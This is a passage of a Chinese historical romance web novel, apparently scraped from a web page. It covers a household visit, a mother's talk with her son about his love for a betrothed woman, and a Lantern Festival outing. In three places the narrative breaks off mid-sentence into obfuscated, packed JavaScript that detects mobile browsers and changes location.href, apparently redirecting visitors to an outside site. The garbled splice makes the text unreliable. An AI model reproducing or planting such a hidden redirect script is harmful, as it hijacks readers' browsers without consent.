明夷连忙将头转过来,扬起嘴角露出底下的小梨涡,朗朗道:“商夫人好!” 商夫人点点头,“是个好孩子,上回孚儿生日人太多,所以没有和你好好打个招呼,今日来了就好好顽,有什么需要就和我说。” 明夷颔首道谢,仪态大方:“有夫人这句话那我定不客气了。” 上首两位夫人闻言一笑,又与明夷说了两句,接着又把目光转向芸芝芙三个姑娘,问了几句功课日常,场面一派祥和。 这时,一位穿着褐色云纹褙子的婆子前来通报,说是孚少爷来了,问现在可否方便进来。商夫人眼里闪过惊讶,但又马上回神,侧头朝闻夫人露出询问的目光 闻夫人微不可查地挑了挑眉,饶有兴致道:“我这几个丫头权当是自家妹妹,明夷与孚哥儿也是打小一起长大的,没什么好避讳的,快让咱们孚少爷进来,说起来我也好久未见到了呢!” 55. 母与子 听到屋内传出来的笑声,吴中孚低头敛了敛衣襟,迈着大步走了进去。 少年今日穿了一身沉香色织金云鹤纹圆领澜衫,头上戴着一顶黑貂皮暖帽,后头还垂着一对暗色绦带,随着他走路带起的风轻轻飘动。 闻夫人看着厅中行礼的少年眼睛顿时一亮,转头对商夫人道:“商姐姐我可好生羡慕你,怎么生的孩儿一个赛一个俊俏!今日见到你家这位小的,我才知道这书上的掷果盈车是什么样的感觉,要是我现在手上有果子,我也要送一筐上去!” 商夫人被逗得笑出了声,招呼着吴中孚向前,道:“孚儿走近些,让你闻姨好好瞧瞧,说起来你小的时候,每次你闻姨来你都是最欢喜的。” 闻夫人欢喜的拉着吴中孚的手,笑道:“那时你才那么小一点,又乖又懂事,看着可疼人了!文文静静的坐在那里不哭不闹,就跟观音坐下的金童似的,我都想把你偷回家自己养了!” 吴中孚从没遇到过这么直白热情的长辈,一时不知该如何招架,只腼腆的笑着,闻夫人看着更加喜欢。 明夷坐在下首兴奋看戏,嘿嘿,看看这害羞腼腆的小劲儿,不说闻夫人这样的中年妇人喜欢,她这样的妙龄…额,不对,从心理年龄看她貌似也要三十了,难怪她俩能玩到一块去呢,这样俊俏的小郎君谁看了不喜欢 吴中孚感受到身侧一道注视的目光,不自觉挺直了腰杆,面上笑容又添了几分真心实意。 终于,在明夷茶都喝了半盏的时候,闻夫人终于问完了她那堆乱七八糟的问题,大发慈悲的放过了面颊已染上一层薄红的少年。 吴中孚坐在明夷左侧,松口气喝茶的模样像极了过年被七大姑八大姨围攻结束的社恐小孩,明夷递过去个安慰的目光 辛苦了真的,闻夫人的威力她早在进赵府的第一天就领略到了,毫无招架之力。 早在吃年夜饭那天晚上,吴中孚与母亲二人对坐团年,只两人虽是母子,却着实不熟,再加上本都不是多话的人,一顿饭吃得沉默极了。 外头不知哪里传来霹雳啪啦的鞭炮声,还夹杂着嬉闹的声响,吴中孚望向窗外眼神若有怅然,之前在钱塘也是他与徐夫人对坐团年,只是气氛不似现在沉闷,只是……吴中孚回头看向母亲,暖黄烛光下,母亲鬓边跳跃着银色的光,少年猝不及防被晃了眼睛,再定睛一看——是几缕白发。 少年心里顿时涌上了一股莫名的情绪,掩饰着垂下眼帘,突然开口道:“母亲近来可好?” 正拿帕子拭着嘴角的商夫人被小儿子突然的问候搞得一愣,木木地答道:“都…都挺好的。” 吴中孚又道:“阿兄阿姊们可有传信回来?听闻二哥最近添了个小娃娃,不知是侄子还是侄女?” 商夫人回过神来,“是个女娃,你二哥说和你二嫂生的很像,明年七月他有个探亲假,会来着一起回来。” 吴中孚点点头,“说来这是咱家下一辈第一个女孩呢。” 商夫人点点头,点完又觉得略显冷淡,又开口道:“是这样的。” 母子俩就这样人机似的玩了几个回合的你问我答,商夫人其实有心多讲一些,只是她本就不太会聊天,而且对于这个小儿子,她是有愧的。 但是她也没法子啊,那时的她是真的没精力也没气力去照养他,不是不爱,天下哪个母亲会不爱自己的孩子呢?只是她得先顾着自己啊…… 吴中孚注意到母亲略带着哀愁的注视,敛了敛神色不动声色得又起了个话头,道:“母亲年节有什么安排吗?书院正月十七才上课,若是有什么我帮得上忙的,母亲尽管说。” 提到这个商夫人就有说头了,事实证明,就算她再不爱交际,但有些必要的是躲不过的。商夫人指节微曲托着下巴边想边说道:“明日要先去祠堂里拜拜,然后再与族里一道吃饭,初二要去寺庙里上香,初三要把年节来往的礼再点点,初四赵家和方家的人要来家里,初五……” 吴中孚听到母亲说了一串,立马抓住重点,“初四赵家和方家的人要来?” 商夫人颔首道:“…是了,好像你和方家那孩子是在一块读书?不过那天他应该不会来,邀请的主要是各家女眷。” 吴中孚若有所思,“母亲和赵家夫人关系如何?” 商夫人有些奇怪儿子怎么会突然问这个,但还是答道:“闻夫人是我少数交往起来比较舒服的,她人很不错,大方、爽朗……总之和她相处很轻松。” 吴中孚点点头,见母亲眉目间带着疲色,想到她因为过年,因着府上一大堆事也是忙了好一阵子,于是便招手让人把桌子收了,自己帮母亲披上披风陪着步行回去她的院子。 赵夫人一家用过午膳后又说了一会子话便离开了,商夫人指挥着下人将赵夫人带来的年礼收好,回到房内歇息时,突然回忆起儿子今天的举动,皱着眉头思量半天,还是派了丫鬟将儿子叫到自己屋子里来。 吴中孚还未换下刚刚见客的衣裳,商夫人看着儿子明显是认真打扮过的模样,不禁想起初一那天开祠堂、与族里长辈吃饭时吴中孚只穿了件浅色的直褂,连花纹都没几条,虽也合乎礼数,但与今日一比……平日连儿子上下学时间都不晓得的商夫人也察觉到不对劲。 商夫人是个聪明人,稍微一想就猜到了大概,那姑娘看着确实不错,虽然年龄大了些,但儿子若是喜欢倒也无妨,只是她怎么听说这姑娘已经许了人家? 商夫人看着儿子已初初褪去少年稚嫩的俊逸模样,说起来,她这四个孩儿当中,生的最出挑的就是吴中孚。一出生眉心就带一颗米粒大的红痣,精致秀气的像个姑娘,如今长成大人了,五官依旧精致,但再也不会有人把他看作女孩了。 吴中孚站在母亲面前,虽两人都还未开口置一词,但都明白此为何事,商夫人决定再确定一下,开口道:“那位明夷姑娘是不是已经许了人家了?” 吴中孚点头 商夫人眉头深深皱起,又道:“许的谁家你可知晓?” 吴中孚面无表情道:“方家,方韫之。” “竟然是方家,那位方韫之是你同窗吧?” 吴中孚又点头,沉默了一瞬,还是有些不情愿道:“韫之兄学问了得,人品也是一等一的好。” 吴家的人大都性格凉薄,忽然听到儿子这么夸一个人,商夫人有些惊讶道:“难得听你这样夸一个人,你们关系不错?” 吴中孚一板一眼道:“儿子只是实话实说,我同韫之兄的关系算不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751855|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多近,不过他的确是儿子在书院难得说的上话的人。” 商夫人觉得自己有些搞不清现在的状况,疑惑道:“那你还……” 吴中孚表情有了些起伏,但声音还是淡淡道:“一码归一码。” 商夫人若有所思的点点头,道:“所以你还要继续?” 吴中孚表情颇为严肃,“我想试试,只要还没成婚,一切都还有机会,这世间人事,均是变化的,就像那太极图,现在看是乾卦,保不齐下次就变坤卦,哪有永远不变的爻辞?我不愿那么简单就算了。” 商夫人闭目想了一会儿,端起茶壶给自己沏了半杯茶,慢慢抿了一口,才悠悠道:“这事我不管你,只是有两点,别给我惹事,也别给人家姑娘惹事,剩下的你爱怎么折腾就怎么折腾。” 吴中孚有些意外的看向母亲,见此,商夫人又道:“我自认是没什么资格管你的,所以你的决定我基本不会过问也不会干涉,只是仅一点,别因为自己的私心伤着别人。” 吴中孚朝母亲深深行了个大礼,郑重道:“儿子知道了。” 从赵家回去后,闻夫人继续苦兮兮地四处奔波,后头缀着芸芝芙三个丫头也是全天陪同——孩子们也有孩子们的战场,反正都休息不了就是了。 唯唯独明夷过上了吃了睡睡了吃的幸福生活,只是如此咸鱼生活才过了几日,初八当天,明夷午觉刚刚睡醒,看着案上两封邀约心里苦恼极了,虽然她知道他们也是一片好意,但元宵当天她已经答应了几个女孩要带着她们去逛灯会啊!孩子们最近辛苦了,早盼望着元宵放松,她要是敢临时爽约非被她们撕了不可。 没办法,明夷边措辞回着信边道,先来后到,我亲爱的朋友,咱们明年再约! 方韫之收到明夷的拒绝信后郁闷了一早上,有些怅然的对吴中孚说道:“我本来想着元宵那天帮她好好过个生辰,一起逛逛元宵,除了她及笄那回偶然遇见,我再没和她一起逛过元宵了,今年我若会试能中,授了官职,或留在京城,或外放不知何地,就再难有机会了,难不成真要等到两年后才能……” 柳夫人病好之后又重新下了拜帖,商夫人知晓儿子与方韫之关系不错,特去信一封让柳夫人将儿子一块捎来。 于是两人待在吴中孚的书房,方韫之想到今早收到的信,满腹相思无可解,于是对着朋友大倒苦水。 吴中孚神色冷淡,因为他早上也收到了明夷的拒绝信,刚刚听方韫之一番言语,便知内容差不多,哼,没准就只改了个名字。 方韫之见朋友像根木头似的杵在哪里,忍不住催促道:“你说我应该怎么办?还有别的法子吗?” 吴中孚淡淡道:“你问我有何用?我看着像是明白的吗?” 方韫之长叹一口气,是了,他也是无计可施了,竟然来问吴中孚这种问题,他一个才束发的孩子能明白就怪了,他还是自己再好好琢磨琢磨吧。 不然……回去问问宁之?此念头刚一冒出又被方韫之自己快速否定,不得行,要是开口问了,定是要被嘲笑一番,他做哥哥的威严何在?以后又该如何罚她? 再说,方韫之嫌弃的瘪瘪嘴,这小丫头能知道些什么?算了,离元宵还有几天,总能琢磨出办法的。 56. 元宵又一年 为着元宵节这趟出门,明夷早早就立好了规矩,每个人都必须紧紧跟着她,绝对不能擅自行动。大的看小的,有事打报告,若是不小心走散了,就站在原地等,原地不方便就去街上楼最高灯最亮的地方待着…… “还有,不要和陌生人说话,不要吃不认识的人递来的东西,不要……”明夷语重心长道 “先生你已经说了不下十遍啦!”赵芝同学脆生生的打断明夷的长篇大论,捂着耳朵摇头抗议 明夷不赞同的眯了眯眼睛,转身抵住马车帘子,牢牢挡住女孩们好奇的视线,严肃道:“这很重要,有前车之鉴的,当时我……” 赵芙适时接话道:“先生您这个讲了快二十遍了。” 旁边将下巴垫在小妹肩膀上的赵芝点点头,一双黑亮亮的大眼睛止不住得往帘子缝隙泄出的光亮瞟。 明夷叹了口气,对着方才一直沉默的郁章章道:“你是里头最大的,待会儿帮我多看着这几个不省心的丫头。” 郁章章点点头,表示保证完成任务。 想了想还是不放心,明夷又忍不住交代了两句注意事项,看着车内一张张魂不守舍的小脸,最后无奈地摇了摇头,侧身拉开帘子,冲着女孩们道:“下车吧。” 由于几个女孩实在等不及,明夷她们特地早早就出了门,眼下天色还未完全暗下来,暮色像浸了水的淡墨,街上只有零星几个提着花灯的行人。推着独轮车的小贩们碾过坑坑洼洼的石板路,发出沉重的闷响,一个个摇晃着脑袋四处张望,寻找最合适的摆摊位置。 穿着灰布短打的汉子将小车停在一颗榆树下头,两手支起竹架,挂在上头的油纸灯笼上大咧咧写着“李记汤团”四个大字,在晚风中打了个旋。 隔壁卖糖人的老翁见证两步走了过来,挥舞着手中木勺自来熟道:“再往这边一点点…回去一点…停,就这,别动了。” 沿街酒楼的朱漆廊柱下,两个短衫伙计踩在榆木梯上,正将手中二尺有余的绛红色绉纱灯笼往翘起的檐角上挂。那灯笼面上用金粉描着八仙过海,烛火一透,何仙姑手上的荷花像是长到了汉钟离的芭蕉团扇上。对面胭脂铺的老板娘双手叉腰,仰头指挥着学徒,尖声道:“左边再高一点!没见着锦绣坊的走马灯比咱们的亮堂些吗!” 整条长街被赤金游龙般的灯阵拦腰束住,天空被灯线切成一节节的,百盏描金福字灯在风中轻旋,晃得来人个个“眼冒金星”。几个孩童举着糖葫芦在灯穗下来回穿过嬉闹,晶亮的糖衣映着渐次燃起的灯火,像是烧红的玛瑙。 天色随着行人闲散的脚步不停的变幻,暮色里透出孔雀蓝与胭脂红的光影,同西天最后一道晚霞融在一处,直直把半条街都染成了绸缎庄里晾晒的云绫锦。 不知是哪家食肆飘出蒸糕的甜香,混着胭脂铺里玉兰香粉的气味,明夷左手赵芝右手赵芙,心不在焉的听着她们叽叽喳喳争论着那蒸糕究竟是桂花味的还是玫瑰味的。 郁章章突然拍了拍明夷的肩,轻轻道:“先生你看。” 明夷仰头,嘴唇微微张开,面露惊讶。只见此刻千盏明灯正次第绽开,似燃烧的银河整条倾落人间,圆润的月亮拥着云纱悬在天际,难得的失了光辉。 明夷晃了晃胳膊,两个女孩疑惑地抬头,瞬间同时发出震惊的感叹,赵芸被郁章章牵在手心里,眼里映着团团灯火,突然狠狠地拍了把自己的大腿,哀叹道:“怎么就忘带纸笔出来了!” 赵芝用肩膀撞了撞自家阿姊,扬眉道:“你回去再画一样的,肯定非常好看!” 边说着边吸了吸鼻子,叫道:“什么味道?一股茱萸粉的味道,好香好香!” 郁章章也皱着鼻子闻了闻,指了个方向,“好像是从那边传过来的。” 赵芝脚底抹油,拉着明夷就往前跑,将其连带着赵芙一齐拉得踉跄。 转过街角处挂着琉璃宫灯的聚珍阁,果然瞧见八九个摆成一排的黄泥火塘,穿着靛青短打的胡商正操着弯刀片炙羊肉,火塘上木签子串着的鹿脯羊肉在炭火上烤的滋滋冒油。 “姑娘可要尝尝这西域风味?”胡商操着一口不甚流利的官话对着明夷道。 少女看着面前正架在枣木上慢烤的羊肋排,神情有些怔愣,上次吃签菜时是在道观的后山,父亲还在,回去后就…… 往事接踵而至,正给羊肋排抹酸浆子的伙计见面前这位衣着富丽的少女眼睛一错不错地盯着他的动作,心里顿时有些忐忑,不自觉放慢手里的动作,小心翼翼道:“…小姐是……是对这羊排有何高见吗?我们这是今早刚杀的羊,绝对新鲜!” 赵芙晃了晃明夷的手,后者回过神来,忙道:“没有没有,我…欸你这往上抹的是什么东西?” 伙计松了口气,扬了扬手中的羊皮囊,道:“酸勒浆这是,可去膻可增味,尝过的都说好。” 明夷笑着点点头,一旁的赵芝早有些等不及了,两手摇着明夷的胳膊祈求道:“先生我想吃,刚刚问了大姐姐和郁姨娘都想吃,咱们进去尝尝嘛。” “可你们不是才吃过饭吗?”明夷眼神扫过一干女孩 老实的赵芝挠了挠头,小小声道:“专门留了肚子的,这不是难得出去嘛。” 明夷无奈地摇了摇头,道:“进去吧。” 方才烤羊排的伙计十分有眼力见,立马就朝里面喊了声:“贵客五位!” 一位穿着织金胡服的胡族女子赶忙走出来,将明夷她们迎至食肆内一个最为宽敞的位置坐下。 说是宽敞,其实也就是两条拼在一起的长桌外加五个铺着间色彩布的小杌子。女孩们从没吃过这样的路边排挡,各个新鲜极了,围着菜单恨不得把所有东西都点来尝尝。 明夷坐在一旁,双眼直勾勾地盯着木桌上的纹眼,郁章章注意到不对,放下手中的菜单,凑到明夷身边,轻轻道:“先生这是怎么了?刚刚看你就觉得你有些心不在焉。” 明夷回过神来,看见郁章章略显担心的表情与后头吵得热火朝天的三姊妹,心里顿时一哂,是了,她这是怎么了,出来玩怎么还垮着一张脸,父亲要是知道了又要拿手去提她嘴角了…… “没什么,就刚想到点东西,你们菜点的怎么样?拿来我看看。” 女孩们将菜单递给明夷,少女低头一看,眼睛瞬间瞪大,不可置信地举着菜单道:“我的小姑奶奶们,点这么多是指望我们几个能吃下一整头羊吗?怕是饕餮转世也不太行吧!” 赵芙面露不解:“很多吗?我们只是想每样都尝尝。” 赵芝也附和道:“吃不完就算了嘛,我们可是难得出来欸!” 赵芸没有说话,但就凭那眼巴巴地神情,想必她肯定没少点。 一旁的郁章章倒是皱了皱眉,道:“浪费太多不好,这些肉食平常人家一年到头都吃不上几回。” 明夷点点头,赞同道:“说的没错,你们都给我悠着点,想多尝一些没有毛病,但你们这数目也写太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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饭过三巡——明夷悲哀的发现,这群小崽子,心比天大,胃比鸟小,点菜的时候嚷嚷着这也要吃那也要吃,在明夷的死亡凝视下删删减减一堆,把菜单递给老板时还哭丧着脸嘀咕说不够吃,结果呢? 一个个每样没吃几串就说饱了,徒留明夷一人对着满盘子肉孤军奋战,可是她是认真吃过晚饭的啊啊啊! 少女气势汹汹的扒拉着肉串,举着筷子训斥道:“怎么不吃啦?刚刚是是谁说吃得下的?是谁点那么多的?嗯?怎么不说话了,都哑巴了?” 赵芝笑得一脸谄媚,“这谁晓得肚子那么不争气呢,先生您吃,今日您生辰,您吃好!” 明夷暴怒拍桌,“赵芝同学,说得就是你,点菜时叫得最凶的就是你,那鸡腿我说点五个一人一个就好,你偏偏说你能吃三个,结果呢?剩下这两个咋办?谁吃?刚刚看你那阵仗我还以为你能吃下一头牛呢!” 边说着,老板又端了盘烤鹿脯上来,明夷瞳孔地震,脱口而出道:“怎么还有?!” 由于过于震惊,声音大的周围食客纷纷侧目,少女尴尬得咳了两声,然后又狠狠地瞪了几个小崽子一眼,生无可恋道:“老板,我们还有菜吗?” 老板乐呵呵道:“还有十串豆腐和五串银鱼。” “那个…烤了吗?没烤的话,我们就不要了。”明夷望着老板,面露希冀。 老板面带笑容:“已经在架子上了,马上给您端上来!” 看着老板乐呵呵的背影,明夷筷子一扔,面露凶色,离她最近的赵芙见状况不对,拖着杌子直往后退,突然背后径直撞上一人,明夷听到叫声烦躁抬头,张嘴正要一阵好骂,抬头看清来人后,又硬生生的把话憋了回去。 瞧瞧那正与赵芙面面相觑的紫衣青年,一脸呆样不是方韫之是谁? 看看站在旁边一脸假装不认识的黄衣少年,浑身事不关己的避嫌味儿不是吴中孚又是谁? 明夷瞅着对面几人大脑呈宕机状,随后不知想到什么,面上笑容绽开,非常热情的起身朝两人挥手。 57. 偶遇 最后,明夷让老板加了两把小杌子,芸芝芙三姊妹挤在一边,眼巴巴地看着自家先生热情的招呼着两位公子吃串。 而这一紫一黄两位公子也非常给面,什么也不问,一坐下就捊起袖子,明夷给什么就吃什么,三姊妹严重怀疑,此刻就算她们先生递两碗毒药上去,这俩也会毫不犹豫地一饮而尽,并夸赞明夷递的东西就是好喝。 明夷笑眯眯的看着两人撸串的样子,刚犯瞌睡就有人递枕头,这样的好事上哪找去? 少女面上笑容愈来愈盛,在这嘈杂的食肆里头,吸引了周围几多食客的目光,吴中孚和方韫之两人感受到周围的窥视,不约而同的或左或右的偏着身子,将周围的目光一下挡去大半。 明夷低头努力克制嘴角的笑容,心里有些惋惜。要是上辈子,有这样一张脸她恨不得天天去大街上晃悠,可是现在…害…门都不能随意出,就算出门动辄帷帽覆面,也就逢年过节松活一些,能与外头的空气浅浅来个亲密接触。 …不过说到出门,明夷看着两人疑惑道:“你们怎么会一起出现在这里?”倒不是她多管闲事,只是两个男的一起逛元宵,还是被她拒绝了邀约的两个男的,越想越觉得奇怪。 方韫之放下手中的羊肉串刚要开口,就被旁边的吴中孚打断道:“刚刚在街上碰到了,看这家店生意很好,所以进来看看。” 方韫之伸手接过明夷递过来的山鸡腿,边思考着如何优雅的将上面的肉卸下来,边附和的点点头。 其实他俩的确是偶然碰见的,但不是刚刚,也不是在街头。 那日从吴府回去以后,方韫之就一直在思考办法,随着十五越来越近,毫无头绪的他不得已去妹妹那旁敲侧击的求助。 方宁之看着自己平日无事不登三宝殿的哥哥在她面前开口就是“我有一个朋友”,笑得喷了口茶。方韫之满脸嫌弃的摸了块帕子递过去,方宁之伸手正要接,后者突然发现手中的帕子是明夷赠的,又立马缩了回去。可怜方小妹伸出的手扑了个空,人懵的都快忘了自己还在咳嗽。 方韫之挪了挪位置,又将茶杯端到一边,纠结着要不要干脆走了算了,看她那傻样能想出什么好主意? 方宁之咳得满脸通红,一抬眼就猜出了哥哥的想法,连忙发言道:“咳…我咳咳…我有办法…咳咳咳…你再仔细说说。” 方小妹作为家中最小的孩子,上有两个哥哥,从小就明白何为血脉压制,大哥比她大得多,两人相处较少没什么好说,但她这位二哥,两人相处不可谓不是鸡飞狗跳。 当然,以上鸡飞狗跳动作全由她一人完成,方韫之主要负责挑起能让她炸毛的情绪。 待大了些,两人相处转武为文,方韫之又开始盯她学习,每日自己上下学堂还不够,一定要把她也拎到书房一起。可当时只有几岁的她字都认不得几个待在书房能干个什么?但方韫之不那么认为,小小年纪的他对着自己还没桌腿高的妹妹一本正经的教育道:年龄不应成为学习的限制,有道是知无涯者,你得赢在起跑线上…… 小宁之听得脑袋打摆摆,方韫之见小妹点头了,高兴的说了句“孺子可教也”,然后专门让人在书房里给她置了把小椅子,每日等他下学回来就得乖乖坐那儿,至于干什么?听他背书。 方韫之认为自己这个方法甚好,乃有一箭双雕之意,有了观众监督,他背书也能更加认真,而小妹虽年纪还小,但整日耳濡目染,定能有所进步。 待她再大些,方韫之又分了一小半书案给她,至于又干什么?写大字。 方宁之回忆,说起来,还是她二哥给她开的蒙,如今能得到个外人才思敏捷的评价,她二哥的作用不可谓不重要,只是——女孩满脸黑线,这样太苦了点吧! 到底是有多丧心病狂,才能想出让五六岁的小女孩天天到点就进书房坐着听人读书?不让乱动不让吃东西也没有玩具,偏偏她又一直有点怵这个二哥,毕竟是从襁褓开始就饱受“打压”,想到这,方小妹摸摸抱紧自己,够了,她自己心疼! 找爹娘告状是无用的,他们只会觉得家里的小泼猴有人能制住简直太好了,而且还是带着她学习,这简直是好上加好!一往外说,大家伙都羡慕得不行。夫妻俩完完全全站在方韫之的后面,小小的方宁之仰望着抱臂立在面前,命她练字的伟岸二哥,第一次感觉到什么叫做深深的“绝望”。 好不容易来了个明夷阿姊,让她得以找她哥的乐子玩,这怎么能轻易放过呢?方宁之狗腿地给自家二哥重新倒了杯茶,收起面上贼兮兮的笑容,绷着小脸严肃道:“您说您说。” 方韫之古怪地看了眼自家小妹,总感觉她不怀好意,但…他也说了是朋友,朋友懂吗?和他没关系!别人的事还是很好开口的,于是乎,方韫之端着茶杯沉吟一会儿,将事情来龙去脉说了个大概。 “说完了?”方宁之严肃道 “说完了。”方韫之点点头 “就这?”方宁之不可置信,你玩我呢? “就这?”方韫之眯起眼睛,表情危险。 “没有没有,嗯…你这个问题很大,但也不是没有办法,让我好好思考一下。”方宁之死命绷住嘴角。 “都说了不是我的问题,是我的朋友……欸阿宁啊,你脸是不是抽筋了?表情怎么那么怪呢?”方韫之瞅着小妹奇怪道。 “你脸才抽筋呢!你全家都抽筋!知不知道这样说一个姑娘是非常不礼貌的!”方宁之张牙舞爪的上前,一把掐住自家二哥的脸。 方韫之嫌弃地打掉小妹作乱的爪子,拧着其耳朵道:“反了天了不成?” 方宁之反抗无果,叉着腰背过身去,气鼓鼓道:“不想理你。” 方韫之挑挑眉,“那我走?” 方宁之立马转过身来,叫道:“不行!我原谅你了!” 方韫之躬身笑倒,在自家小妹红温之前直起身子一本正经道:“你若能想到合适的办法,二哥可以答应你一个要求。” 方宁之双眼瞬间一亮,喊道:“真的?” 方韫之笑眯眯的看着眼前的小妹,道:“君子一言,驷马难追。” “其实方法很简单,就俩字''偶遇''”! “嗯?”方韫之作洗耳恭听状。 “哎呀,怎么感觉有点口渴呢?”方宁之若有所指的瞟了眼面前空空如也的茶杯。 方韫之立马端起茶壶给人满上。 方宁之装模作样的端起茶杯喝了一口,又道:“要是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767316|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些吃的就好——” “方宁之我看你是皮痒了。”方韫之挑了挑眉,表情温和。 方宁之立马打了个寒颤,连忙道:“你看嘛,明啊不,那位女子竟然拒绝了你朋友的邀约,但她肯定是要去元宵灯会的,那你也…你朋友也可以去啊!左右那条街又没多长,最后大家都会聚到灯楼那看烟火,留心找找肯定是能找到的,到时候来个偶遇,并肩走一段路也是十分自然的。” 方韫之垂眸沉思了一会儿,觉得是个可行之策,冲着妹妹点点头道:“谢了。”然后便起身准备离开。 方宁之一边小声嘀咕着“用完就丢真没良心”,一边冲着二哥的背影大喊:“别忘了你说答应我一个要求!” 方韫之冲着背后扬扬手,道:“知道啦,你自己好好想想要什么。” 十五当天,方韫之特意穿了件蕈紫色云雷纹交领直袍,头上戴了顶丝绦儒巾配玉簪固定,最后在方宁之的坚持下,又加戴了一条卧兔围在额边。方韫之摸着额头处的貂毛有些不自然道:“真要戴这个?” 方宁之重重点头:“哥,现在的你就连那潘安卫玠来了都要甘拜下风!” 方韫之失语,过了好一会才道:“回来给你带礼物。” 从方府出发,去灯会处要经过吴府,方韫之看着左前方印着吴氏家徽的马车,心里突然有了预感,伸手将车窗拉开,定睛一看,前面车窗边那个头戴着乌纱描金逍遥巾,侧边还插支碧玺梅花簪的俊俏少年不是吴中孚又是谁? 吴中孚显然也看见了方韫之,两人隔着车窗面面相觑,互相陷入沉默。 下车之后,方韫之上前打招呼,道:“你也来逛灯会?一个人?” 吴中孚点点头,抬眼道:“你也?” 方韫之哈哈道:“听说灯会能近距离观察市井的生活和习俗,所以来看看。” 吴中孚面无表情的点头,“我也是。” “那先逛逛?我打算去那边看看。”方韫之指了指前方的岔路。 “我打算去那边。”吴中孚朝另一个方向扬了扬下巴。 “那真不巧啊,就先不打扰你了,祝你有所收获。”方韫之拱手道别。 吴中孚侧身回礼,也道:“同祝韫之兄有所收获。” 只是—— 方韫之看见同样站在签菜食肆前的吴中孚,表情尴尬,“这么巧。” 吴中孚额角抽搐,他看这家生意红火,卖得东西也较为少见,想着先去尝尝,若是好吃下次就带明姐姐来吃,结果不想怎么又遇到这人。 方韫之所思所想与吴中孚一模一样,两人面对面站在食肆前,正忙着烤肉的老板疑惑地看了呆站着的两人几眼,中气十足道:“二位是要用膳吗?” “是的老板,里头还有位吗?”方韫之礼貌道,侧头又递给吴中孚一个和善的眼神,道:“一起进去看看?” 吴中孚点点头,两人跟着伙计抬步往里走,食肆过道狭窄,两人注意着两边不要碰到旁人,有道是顾左右难顾前后,突然方韫之感觉腿上撞上个软乎乎的东西,垂眼一看,是个神色讪讪,穿着件金缕牡丹锦缎夹棉袄的小姑娘,再一抬头,就看见坐在一筒竹签后面,举着一根烤串,吃得嘴唇亮晶晶的明夷。